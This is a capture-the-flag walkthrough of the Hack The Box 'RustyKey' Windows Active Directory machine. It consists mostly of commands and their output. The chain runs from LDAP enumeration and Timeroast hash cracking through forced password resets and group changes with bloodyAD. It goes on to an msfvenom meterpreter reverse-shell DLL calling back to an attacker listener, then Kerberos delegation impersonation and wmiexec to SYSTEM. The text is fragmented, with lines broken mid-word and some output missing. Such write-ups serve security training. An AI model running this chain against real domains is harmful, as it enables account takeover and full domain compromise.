RustyKey - EnG
RustyKey - EnG
Introduction
Welcome to this detailed walkthrough of the RustyKey machine from Hack The
Box Season 8. This high-difficulty Windows-based Active Directory challenge
immerses you in a realistic penetration testing scenario, emphasizing identity-
based access and misconfiguration exploitation. We'll dive into enumerating
critical attack surfaces, leveraging valid credentials, and navigating complex
privilege escalation paths to achieve full system compromise.
Open 10.10.xx.xx:3268
Open 10.10.xx.xx:3269
Open 10.10.xx.xx:5985
Open 10.10.xx.xx:9389
Open 10.10.xx.xx:47001
Open 10.10.xx.xx:49664
Open 10.10.xx.xx:49665
Open 10.10.xx.xx:49667
Open 10.10.xx.xx:49666
Open 10.10.xx.xx:49669
Open 10.10.xx.xx:49671
Open 10.10.xx.xx:49670
Open 10.10.xx.xx:49672
Open 10.10.xx.xx:49673
Open 10.10.xx.xx:49676
Open 10.10.xx.xx:49692
Open 10.10.xx.xx:49739
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -Pn" on i
p 10.10.xx.xx
Depending on the complexity of the script, results may take some time to a
ppear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 00:59 +08
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:59
Completed NSE at 00:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:59
Completed NSE at 00:59, 0.00s elapsed
[libdefaults]
default_realm = RUSTYKEY.HTB
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
RUSTYKEY.HTB = {
kdc = rustykey.htb
admin_server = rustykey.htb
default_admin = rustykey.htb
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
1. Users Enumeration
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# ldapsearch -x -H ldap://10.10.xx.xx -D '[email protected]' -w '8#
t5HE8L!W3A' -b 'dc=rustykey,dc=htb' "(objectClass=user)" userPrincipalN
ame
# extended LDIF
#
# LDAPv3
# base <dc=rustykey,dc=htb> with scope subtree
# filter: (objectClass=user)
# requesting: userPrincipalName
# search reference
ref: ldap://ForestDnsZones.rustykey.htb/DC=ForestDnsZones,DC=rustyke
y,DC=htb
# search reference
ref: ldap://DomainDnsZones.rustykey.htb/DC=DomainDnsZones,DC=rusty
key,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 31
# numEntries: 27
# numReferences: 3
2. Bloodhound Enumeration
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# impacket-getTGT -dc-ip 10.10.xx.xx rustykey.htb/rr.parker:'8#t5HE8L!
W3A'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# export KRB5CCNAME=rr.parker.ccache
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# klist
Ticket cache: FILE:rr.parker.ccache
Default principal: [email protected]
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# bloodhound-python -u 'rr.parker' -p '8#t5HEL!W3A' -c All -d rustyke
The HELPDESK group can change the password of the following four users
bb.morgan
gg.anderson
dd.ali
ee.reed
bb.morgan
gg.anderson
ee.reed
https://github.com/SecuraBV/Timeroast
First, we should be git clone Timeroast via link on top here & re-edit timecrack.py .
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# git clone https://github.com/SecuraBV/Timeroast.git
Cloning into 'Timeroast'...
remote: Enumerating objects: 91, done.
remote: Counting objects: 100% (91/91), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 91 (delta 46), reused 73 (delta 35), pack-reused 0 (from 0)
Receiving objects: 100% (91/91), 246.55 KiB | 1.10 MiB/s, done.
Resolving deltas: 100% (46/46), done.
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# ll
total 220
-rw-rw-r-- 1 root root 209916 Jun 30 03:35 20250630033519_bloodhoun
d.zip
-rw-rw-r-- 1 root root 1976 Jun 30 03:06 internal.pdf
-rw-rw-r-- 1 root root 1375 Jun 30 03:34 rr.parker.ccache
drwxrwxr-x 4 root root 4096 Jun 30 03:37 Timeroast
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# ls Timeroast
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# ls Timeroast/extra-scripts
kirbi_to_hashcat.py md4.py timecrack.py
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# nano Timeroast/extra-scripts/timecrack.py
#!/usr/bin/env python3
"""Perform a simple dictionary attack against the output of timero
ast.py. Necessary because
the NTP 'hash' format unfortunately does not fit into Hashcat or J
ohn right now.
Not even remotely optimized, but still useful for cracking legacy d
efault passwords (where the
password is the computer name) or specific default passwords th
at are popular in an organisation.
"""
from binascii import hexlify, unhexlify
from argparse import ArgumentParser, FileType, RawDescription
HelpFormatter
from typing import TextIO, Generator, Tuple
import hashlib, sys, re
HASH_FORMAT = r'^(?P<rid>\d+):\$sntp-ms\$(?P<hashval>[0-9
a-f]{32})\$(?P<salt>[0-9a-f]{96})$'
def main():
argparser = ArgumentParser(
formatter_class=RawDescriptionHelpFormatter,
description="""Perform a simple dictionary attack against th
e output of timeroast.py.
Not even remotely optimized, but still useful for cracking legacy d
efault
passwords (where the password is the computer name) or specifi
c default
passwords that are popular in an organisation.
"""
)
argparser.add_argument('hashes', type=FileType('r'), help='Ou
tput of timeroast.py')
argparser.add_argument('dictionary', type=lambda f: open(f, e
crackcount = 0
for rid, password in try_crack(args.hashes, args.dictionary):
print(f'[+] Cracked RID {rid} password: {password}')
crackcount += 1
print(f'\n{crackcount} passwords recovered.')
if __name__ == '__main__':
main()
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# python3 Timeroast/timeroast.py 10.10.xx.xx -o rustykey.hashes
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# python3 Timeroast/extra-scripts/timecrack.py rustykey.hashes /usr/s
hare/wordlists/rockyou.txt
[+] Cracked RID 1125 password: Rusty88!
1 passwords recovered.
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# cat rustykey.hashes
1000:$sntp-ms$5d90c9e89b8f8d5a0b82ecaaab347d52$1c0111e9000000
00000a01684c4f434cec0c132e2faf0e75e1b8428bffbfcd0aec0c15097bb7
2d28ec0c15097bb74800
1103:$sntp-ms$a209ac58be832560657dec3ad35a88fc$1c0111e9000000
00000a01694c4f434cec0c132e30d77b7ce1b8428bffbfcd0aec0c150b08e
7ceb0ec0c150b08e7e7db
1104:$sntp-ms$437a140d5025f0a27329bdbd111c0e42$1c0111e90000000
0000a01694c4f434cec0c132e30e7c7fae1b8428bffbfcd0aec0c150b08f81
981ec0c150b08f83607
1106:$sntp-ms$6f4508144a95e1c31992a982b3327ca4$1c0111e90000000
0000a01694c4f434cec0c132e2eec1ea1e1b8428bffbfcd0aec0c150b13049
c46ec0c150b1304bf82
4. Exploit Chain
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# ntpdate -u 10.10.xx.xx
2025-07-01 00:13:07.685429 (+0800) +6.425222 +/- 0.055239 10.10.xx.xx
s1 no-leap
CLOCK: time stepped by 6.425222
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3
$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$'
[+] IT-COMPUTER3$ added to HELPDESK
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3
$' -p 'Rusty88!' -k set password BB.MORGAN 'P@ssword123'
[+] Password changed successfully!
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3
$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
[-] IT removed from PROTECTED OBJECTS
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# impacket-getTGT 'RUSTYKEY.HTB/BB.MORGAN:P@ssword123'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# export KRB5CCNAME=BB.MORGAN.ccache
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
Week 7 : [ENG] RustyKey - Hard 24
└─# evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB
Directory: C:\Users\bb.morgan\Desktop
*Evil-WinRM* PS C:\Users\bb.morgan\Desktop>
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# bloodyAD --kerberos --dc-ip 10.10.xx.xx --host dc.rustykey.htb -d rus
tykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' remove groupMember "CN=P
ROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB" "SUPPORT"
[-] SUPPORT removed from CN=PROTECTED OBJECTS,CN=USERS,DC=R
USTYKEY,DC=HTB
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-CO
MPUTER3$' -p 'Rusty88!' set password ee.reed 'P@ssword123'
[+] Password changed successfully!
Warning: User is not needed for Kerberos auth. Ticket will be used
BB.MORGAN .
, we have to use
Directory: C:\
C:\Windows\system32>whoami
whoami
rustykey\ee.reed
C:\Windows\system32>cd C:/Tools
cd C:/Tools
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.
xx LPORT=4444 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows fr
om the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll
┌──(root ㉿kali)-[/home/kali/Desktop/RustyKey]
└─# msfconsole -q -x "use exploit/multi/handler; set payload windows/x6
4/meterpreter/reverse_tcp; set LHOST 10.10.16.xx; set LPORT 4444; exploi
t"
C:\Tools>dir
dir
Volume in drive C has no label.
Volume Serial Number is 00BA-0DBE
Directory of C:\Tools
After a few seconds we get a Revshell (We have to be quick, the connection
breaks very quickly) & set up delegation for our machine account - remember
switch from cmd to PowerShell session.
C:\Windows>Powershell
Powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadm
in -dc-ip 10.10.xx.xx -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYK
EY.HTB.ccache
Seem like we can use the ESC1 Technique for Alternative DCSync (Mimikatz).
But here i just run wmiexec.py to get a shell as NT/SYSTEM → Get the root flag
㉿
┌──(root kali)-[/home/kali/Desktop/RustyKey]
└─# /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass
'RUSTYKEY.HTB/[email protected]'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Directory of C:\
C:\>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 00BA-0DBE
Directory of C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>